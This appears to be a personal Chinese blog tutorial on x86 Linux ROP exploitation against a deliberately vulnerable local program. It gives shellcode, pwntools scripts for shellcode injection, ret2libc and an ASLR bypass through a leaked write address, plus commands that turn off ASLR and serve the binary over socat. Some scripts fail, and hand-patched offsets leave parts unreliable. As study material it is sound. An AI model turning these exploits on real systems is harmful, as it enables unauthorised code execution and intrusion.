一步一步学ROP之linux_x86学习 学习网址:
https://www.tuicool.com/articles/ZruA7bZ
https://www.yuque.com/hxfqg9/bin/zzg02e#qnw71
先来个什么防御都没有的 1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 256 ); } int main (int argc, char ** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n" , 13 ); }
因为read函数读入256个字节 而buf只有128个字节,有明显缓冲区溢出
使用命令进行编译
1 2 3 4 5 6 7 8 9 ubuntu中 gcc -m32 -g -fno-stack-protector -z execstack -o level1 level1.c kali中 gcc -m32 -g -fno-stack-protector -no-pie -z execstack -o level1 level1.c 不知道为啥kali中运行ubuntu中命令关不掉pie,就再gcc的时候关掉就好了
-m32意思是编译为32位的程序
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector -no-pie 关掉pie
再执行一下(需要root权限,sudo不好使,先su到root,执行完再exit)
1 echo 0 > /proc/sys/kernel/randomize_va_space
关掉系统的ASLR
用checksec查看一手
1 2 3 4 5 6 7 8 9 $ checksec level1 [*] '/home/giantbranch/pwnstu/test1/level1' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000 ) RWX: Has RWX segments
可以使用自己写或网上找的 pattern.py 生成数据
1 2 $ python pattern.py create 150 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
也可以借助gdb-peda 中的pattern生成
1 2 gdb-peda$ pattern create 150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
这里借助pattern.py生成数据,利用gdb调试程序
将生成的数据填入
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
发现了报错//程序接收到信号SIGSEGV(故障地址0x37654136)
说明我们的缓冲区溢出到了返回地址(可执行的指令那)
计算一下距离
1 2 3 $ python pattern.py offset 0x37654136 hex pattern decoded as: 6Ae7 140
那我们需要覆盖的点就是140个字节,那就是整个栈的大小
[填充字符]+[ret字符串]就可以让pc执行ret地址上的代码了
[填充字符] => [shellcode……AAAAAAAAAAAAAA……]
也就是我们找到填充的字符串开始的地方,把0x37654136那一块的地址改成找到的地址,把字符串开头写成shellcode就能反弹shell了
最简单就利用execve (“/bin/sh”)
那就是
1 2 3 4 5 6 7 8 9 10 11 12 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80"
溢出点有了,shellcode有了,下一步就是跳转到shellcode的地址上
查阅资料发现正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置,但是gdb的调试环境会影响buf在内存中的位置,我们直接运行./level1的时候,缓冲区buf会固定到其他地方
我们就需要用到core dump这个功能。开启了core dump之后,当出现内存错误的时候,系统会生成一个core dump文件,然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
使用
就能再该文件夹下生成core dump文件
再运行一次程序
1 2 3 $ ./level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Segmentation fault (core dumped)
再利用core dumped文件对level1文件gdb调试
溢出点是140个字节,再加上4个字节ret地址利用x/10s $esp-144查看shellcode地址
那shellcode的地址就是0xffffcfe0
上脚本
1 2 3 4 5 6 7 8 9 from pwn import *p = process('./level1' ) ret = 0xffffcfe0 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload = shellcode + 'A' * (140 - len (shellcode)) + p32(ret) p.send(payload) p.interactive()
但是没成功。。。。
查阅了很多资料,但都不行,在思考中
利用gdb调试
发现
shellcode是都进去了,但是esp有不知道去哪了
栈里东西没错啊 esp也指向这里,我写的shellcode
接着一个和next命令,接着直接跳到
是我shellcode有问题🐎QAQ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = process("./level1" ) ret = 0xffffcf80 shellcode = asm("xor ecx, ecx" ) shellcode += asm("mul ecx" ) shellcode += asm("push ecx" ) shellcode += asm("mul ecx" ) shellcode += asm("push 0x68732f2f" ) shellcode += asm("push 0x6e69622f" ) shellcode += asm("mov ebx, esp" ) shellcode += asm("mov al, 11" ) shellcode += asm("int 0x80" ) payload =shellcode+ 'A' * (140 - len (shellcode)) + p32(ret) p.send(payload) p.interactive()
还不清楚什么原因QAQ
利用生成的报错core gdb调试得到正确的ret地址即可,但还是不清楚为什么原来的ret不行。
通过ret2libc绕过DEP防护(栈不可执行) https://bbs.secgeeker.net/thread-1540-1-1.html
ret2libc是栈溢出漏洞利用的一种常见手段。通过控制函数执行libc中的函数,libc.so里保存了大量可利用的函数,通常我们利用其执行system(“/bin/sh”)
libc 是 Linux 下的 ANSI C 函数库。是C语言最基本的库函数。可以把它理解为可执行程序的运行依赖
linux下的动态链接是通过PLT&GOT来实现的,动态链接每个函数需要
1.存放函数地址的数据段 2.获取数据段记录的外部函数地址的代码
用来存外部函数地址的数据表叫GOT表,存代码的叫PLT表
libc 是 Linux 下的 ANSI C 函数库;glibc 是 Linux 下的 GUN C 函数库。
libc 实际上是一个泛指。凡是符合实现了 C 标准规定的内容,都是一种 libc 。 glibc 是 GNU 组织对 libc 的一种实现。它是 unix/linux 的根基之一。
glibc在/lib目录下的.so文件为libc.so.6,Linux下原来的标准c库Linux libc逐渐不再被维护
ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函数。
这边借用一下师傅的图
想通过PLT表获得函数的地址,要保证GOT表有存他的正确地址,但是一开始所有函数重定位十分麻烦,linux就有了延迟绑定机制
延迟绑定机制 只有动态库的函数在被调用的时候才会地址解析和重定位。
地址解析和重定位相当当一个函数要被调用了,就会利用PTL表找到GOT表的内容,就可以跳转到正确的地址运行函数。
接着我们的进阶任务
使用命令
1 gcc -m32 -g -fno-stack-protector -o level2 level1.c
生成我们的第二题
利用ret2libc控制函数的执行 libc 中的system(“/bin/sh”)
那现在就是得到system()这个函数的地址以及”/bin/sh”这个字符串的地址,system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序开启了 ASLR ,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
用checksec看一看
再用命令
让程序将libc.so加载到内存中
因为我们关闭了ASLR,所以 system函数和”/bin/sh”字符串在内存中的地址是不会变化滴,通过
1 2 print system find "/bin/sh"
得到system和”/bin/sh”的位置
上exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = process('./level2' ) ret = 0xdeadbeef systemaddr=0xf7e3ddb0 binshaddr=0xf7f5eb2b payload = 'A' *140 + p32(systemaddr) + p32(ret) + p32(binshaddr) with open ("level2ex.txt" ,"wb" ) as f: f.write(payload) p.send(payload) p.interactive()
由于system执行完需要返回地址,然后再传”/bin/sh”的地址进入system中,那个返回地址没有使用,可以随便写
执行成功:
绕过ASLR防护 把ASLR打开
1 2 sudo -s echo 2 > /proc/sys/kernel/randomize_va_space
再来看看libc的地址,利用ldd命令
都不一样,原来的exp就用不了了
我们可以通过先泄露libc.so中的其他函数在内存中的地址,在计算那个其他函数到system函数和”/bin/sh”之间的距离进而求出system函数和”/bin/sh”真正的地址,之后再执行我们的ret2libc的shellcode。
先把libc文件copy过来
1 cp /lib32/libc.so.6 libc.so
使用命令查看可以利用的函数
1 2 3 objdump -d -j .plt level2 objdump -R level2 objdump -d level2
得到vulnerable_function的地址为0x804843b
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *libc = ELF('libc.so' ) elf = ELF('level2' ) p = process('./level2' ) plt_write = elf.symbols['write' ] got_write = elf.got['write' ] vulfun_addr = 0x804843b payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) +p32(got_write) + p32(4 ) p.send(payload1) write_addr = u32(p.recv(4 )) system_addr = write_addr - (libc.symbols['write' ] - libc.symbols['system' ]) binsh_addr = write_addr - (libc.symbols['write' ] - next (libc.search('/bin/sh' ))) payload2 = 'a' *140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) p.send(payload2) p.interactive()
1 socat TCP4-LISTEN:10003,fork EXEC:./level #可以开端口让remote连结
p32、p64是打包为二进制,u32、u64是解包为二进制
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
next(libc.search(‘/bin/sh’))返回’/bin/sh’字符串的位置
结果不对,没拿到shell
运行时加入注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *libc = ELF('libc.so' ) elf = ELF('level2' ) p = process('./level2' ) plt_write = elf.symbols['write' ] print "symbols['write'] = " + hex (elf.symbols['write' ])print 'plt_write= ' + hex (plt_write)got_write = elf.got['write' ] print 'got_write= ' + hex (got_write)vulfun_addr = 0x804843b payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) +p32(got_write) + p32(4 ) p.send(payload1) write_addr = u32(p.recv(4 )) print 'write_addr= ' + hex (write_addr)print 'libc.symbols[' write'] = ' + hex (libc.symbols['write' ])print "libc.symbols['system']= " + hex (libc.symbols['system' ])print "next(libc.search('/bin/sh'))= " + hex (next (libc.search('/bin/sh' )))print "libc.symbols['write'] - libc.symbols['system'] = " + hex (libc.symbols['write' ] - libc.symbols['system' ])print "(libc.symbols['write'] - next(libc.search('/bin/sh')))= " + hex ((libc.symbols['write' ] - next (libc.search('/bin/sh' ))))system_addr = write_addr - (libc.symbols['write' ] - libc.symbols['system' ]) print 'system_addr= ' + hex (system_addr)binsh_addr = write_addr - (libc.symbols['write' ] - next (libc.search('/bin/sh' ))) print 'binsh_addr= ' + hex (binsh_addr)payload2 = 'a' *140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) p.send(payload2) p.interactive()
gdb调试报错后生成的core文件
我的write溢出的没错
本地看看libc里的函数
确实没错啊
本地断个点计算一下
和我写代码的算出来不一样啊
1 2 3 4 >>> hex(0x9aee0 - 0x99b80) '0x1360' >>> hex(0x85e9b - 0x84c5b) '0x1240'
想不明白啊呜呜呜
用手算的0x9aee0和0x85e9b写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *libc = ELF('libc.so' ) elf = ELF('level2' ) p = process('./level2' ) w_sys = 0x9aee0 w_bin = 0x85e9b plt_write = elf.symbols['write' ] print 'plt_write= ' + hex (plt_write)got_write = elf.got['write' ] print 'got_write= ' + hex (got_write)vulfun_addr = 0x804843b payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) +p32(got_write) + p32(4 ) p.send(payload1) write_addr = u32(p.recv(4 )) print 'write_addr=' + hex (write_addr)print "libc.symbols['system']=" + hex (libc.symbols['system' ])print "next(libc.search('/bin/sh'))" + hex (next (libc.search('/bin/sh' )))print "libc.symbols['write'] - libc.symbols['system'] = " + hex (libc.symbols['write' ] - libc.symbols['system' ])print "(libc.symbols['write'] - next(libc.search('/bin/sh')))" + hex ((libc.symbols['write' ] - next (libc.search('/bin/sh' ))))system_addr = write_addr - w_sys print 'system_addr= ' + hex (system_addr)binsh_addr = write_addr + w_bin print 'binsh_addr= ' + hex (binsh_addr)payload2 = 'a' *140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) p.send(payload2) p.interactive()
成功拿到shell,这个问题以后回来解决(咕咕咕🕊)
再kali中system地址对了,字符串”/bin/sh”部分错了通过动调发现少了0x40 给补上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *libc = ELF('libc.so' ) elf = ELF('level2' ) p = process('./level2' ) plt_write = elf.symbols['write' ] print "symbols['write'] = " + hex (elf.symbols['write' ])print 'plt_write= ' + hex (plt_write)got_write = elf.got['write' ] print 'got_write= ' + hex (got_write)vulfun_addr = 0x804843b payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) +p32(got_write) + p32(4 ) p.send(payload1) write_addr = u32(p.recv(4 )) print 'write_addr= ' + hex (write_addr)print "libc.symbols['write'] = " + hex (libc.symbols['write' ])print "libc.symbols['system']= " + hex (libc.symbols['system' ])print "next(libc.search('/bin/sh'))= " + hex (next (libc.search('/bin/sh' )))print "libc.symbols['write'] - libc.symbols['system'] = " + hex (libc.symbols['write' ] - libc.symbols['system' ])print "(libc.symbols['write'] - next(libc.search('/bin/sh')))= " + hex ((libc.symbols['write' ] - next (libc.search('/bin/sh' ))))system_addr = write_addr - (libc.symbols['write' ] - libc.symbols['system' ]) print 'system_addr= ' + hex (system_addr)binsh_addr = write_addr - (libc.symbols['write' ] - next (libc.search('/bin/sh' ))) - 0x40 print 'binsh_addr= ' + hex (binsh_addr)payload2 = 'a' *140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) p.send(payload2) p.interactive()
应该是因为环境影响,尚且未找到解决方法
假如没有libc.so怎么办 利用LibcSearcher
可以利用它找出偏移